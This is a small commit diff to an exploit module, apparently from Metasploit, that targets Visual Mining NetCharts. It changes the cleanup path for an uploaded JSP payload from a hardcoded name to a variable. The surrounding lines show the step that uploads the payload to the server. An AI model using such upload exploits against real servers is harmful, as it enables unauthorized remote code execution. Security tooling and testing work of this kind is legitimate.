Fix clean up

Author: jvazquez-r7

modules/exploits/multi/http/visual_mining_netcharts_upload.rb

@@ -76,7 +76,7 @@ def exploit
     print_status("#{peer} - Uploading JSP payload #{jsp_payload}...")
     if upload(jsp_payload, payload.encoded)
       print_good("#{peer} - JSP payload uploaded successfully")
-      register_file_for_cleanup('./webapps/Admin/archive/ArchiveCache/v6NN6211GFnwXrgO9.jsp')
+      register_file_for_cleanup("./webapps/Admin/archive/ArchiveCache/#{jsp_payload}")
     else
       fail_with(Failure::Unknown, "#{peer} - JSP payload upload failed")
     end